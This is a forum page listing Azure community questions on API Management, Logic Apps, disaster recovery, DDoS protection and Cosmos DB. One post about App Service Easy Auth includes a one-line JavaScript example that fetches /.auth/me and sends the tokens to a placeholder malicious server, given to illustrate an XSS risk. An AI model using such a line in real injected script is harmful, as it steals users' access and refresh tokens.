Forum Widgets
Latest Discussions
- Need help with Azure topicsHello everyone! I have little knowledge on Azure - have completed AZ-900 certification. There's a project which requires knowledge on below topics: 1. Azure App Service 2. Function App 3. Logic App 4. API Management 5. Key Vault 6. App Insight 7. Redis Cache 8. Azure Service Bus 9. Event Hub 10. Event grid I tried looking for tutorials on these topics in Google but could find none apart from that in Microsoft docs - however, I am not able to understand what all sub-topics I need to cover. I need your help in identifying some resources and what sub topics should I exactly look into- I would be getting interviewed on these topics in a month. I am trying my best to learn these topics and do little hands on so that I have basic idea about these services. I am a backend developer in .Net with around 4.5 years of experience. Any help would be highly appreciated. Thanks much in advance #azure #azurePaaSMKar10Jun 26, 2021Copper Contributor2.5KViews0likes4Comments
- Azure Logic Apps vs Power AutomateHello Experts, Please guide me in selecting the more suitable option between Azure Logic Apps and Power Automate for developing an Enterprise application that operates on a scheduled basis. This application must interact with multiple on-premises and SaaS systems by making several REST API calls (approximately 8 - 10 calls) and storing the retrieved data (structural and unstructured). Thanks -SriDynamicsHulkDec 18, 2023Copper Contributor5.3KViews0likes3Comments
- Downtime of API Management during deploymentWhich actions will cause a downtime of Azure API Management so APIs will not be able to consume (Premium Tier)? E.g. changing network would be obviously. But what about deployments of APIs, Products, Scaling up and down... How can I find out which actions will make the APIs unavailable? Or is there a mechanism which will keep them available in each scenario (Even if "Service is being updated")? Thanks!sampa611Nov 17, 2022Copper Contributor2.8KViews0likes3Comments
- API Management Policy - Secure way to detect requests from Application GatewayHello. We got API Management which is reachable from internal network, and from external network (internet) via Application Gateway. I want to add an authorization policy in an API which only applies if requests are coming from external network. Microsoft recommends NOT to use Host Header because it can be modified by the user (https://learn.microsoft.com/en-us/azure/architecture/best-practices/host-name-preservation#context). Is there a secure way to check if requests are coming from external network? Would "Context.Request.OriginalUrl.Host" work for this - or is the value a copy of the Host Header? (https://learn.microsoft.com/en-us/azure/api-management/api-management-policy-expressions#ContextVariables)sampa611Oct 20, 2022Copper Contributor2.7KViews0likes3Comments
- AAD Users from main subscription can't login to the application after failing over the VMsHi Azure Folks! AAD users from main subscription can't login to the application after failing over the VMs to another region (via ASR). I'm working on a DR solution for an in-house developed application (consists of a Web server and a DB server in Azure VMs) to replicate across two regions. I've provisioned all resources in a separate Azure subscription (resource groups, VMs, Network interfaces etc..) however, when failed over to the DR via ASR, the application doesn't authenticate users from the main tenant (AAD users). What's configured: 1. New isolated Subscription containing following resources 2. Shared services resource group 3. Dedicated resource group containing replica VM’s and PaaS resources. 4. Virtual Network for shared resources, DCs, jump hosts. 5. Isolated subnet containing replica domain controllers and shared services. 6. Isolated subnet for Azure Bastion hosts. 7. Isolated subnet to host replica VM’s and resources. 8. A dedicated host used to access isolated DR instance. My question is, as DR resources are hosted in a totally separate/isolated subscription, would we need to consider other areas (i.e. app registration or integration between two subscriptions) in addition to the above list of items configured (to facilitate the authentication for all AAD users in the main subscription) ? Am I missing something here? Thanks and appreciate any ideas ! Cheers ManojSolved1.5KViews0likes3Comments
- Does Azure provide DDoS protection for its PaaS services?Hi, I am working on a project wherein we will deploy Storage Account, KeyVault, ServiceBus, CosmosDB, and SQL DB in our subscription. All these services will be deployed with public access enabled, and we will only add private endpoints for local VNet traffic. From a security perspective, should I explicitly add DDoS protection to the above-mentioned services, or do they come with built-in DDoS protection? Example: Would a DDoS attack be able to bring down a Storage Account Blob Service (test.blob.core.windows.net)?pradeepchouhanJul 27, 2024Copper Contributor386Views2likes2Comments
- Connect to cosmosdb read-only databaseI have a cosmosdb and it has a read-only replica in another region . how to connect to it using RBAC authentication ( or using service principal) Can I limit the RU base on this service principal ? Is the RU used on this replica is shared with the primary read-write replica ? I am going to use python script from databricks to do so . thanksmicmic430Jul 05, 2023Copper Contributor774Views0likes2Comments
- App Service Easy auth and disabling /.auth/meI plan on using Easy Auth with a ASP.NET Core web application hosted on Azure App Service with the Linux flavor. From my understanding Easy Auth adds a couple of endpoints to the app service: /.auth/login/<provider>/callback /.auth/logout /.auth/me Usually when I use OpenID Connect and OAuth 2.0 I always opt for the authorization code flow to avoid users having direct access to their tokens (id_token/access_token/refresh_token) as the backend is capable of handling this through cookies in the browser and tokens stored elsewhere away from the user. I have enabled Easy Auth with the token stored for my application and it works as expected. My question is mainly concerned with the /.auth/me endpoint. This endpoint exposes all the tokens, along with the claims of the user. If I enable scopes for offline_access then refresh_token is also exposed here. From a security perspective this seems horrible as a simple XSS attack could read the tokens and ship them off to an attackers server. fetch("/.auth/me").then(r => r.json()).then(sendToMaliciousServer) My questions are: Can I disable this endpoint in Easy Auth to avoid the security issue while still maintaining access to having a token store? Is MSAL (or rather Microsoft.Identity.Web) dependant on this endpoint to be able to read out the access_token from the token store of Easy Auth before calling downstream services?DzeneralenApr 14, 2023Copper Contributor50KViews0likes2Comments
Resources
Tags
- Azure Cloud Service9 Topics
- azure storage9 Topics
- azure api management5 Topics
- azure event hub4 Topics
- Azure Redis3 Topics
- Azure Service Fabric3 Topics
- azure resource manager2 Topics
- azure cache for redis2 Topics
- azure policy2 Topics
- azure service bus2 Topics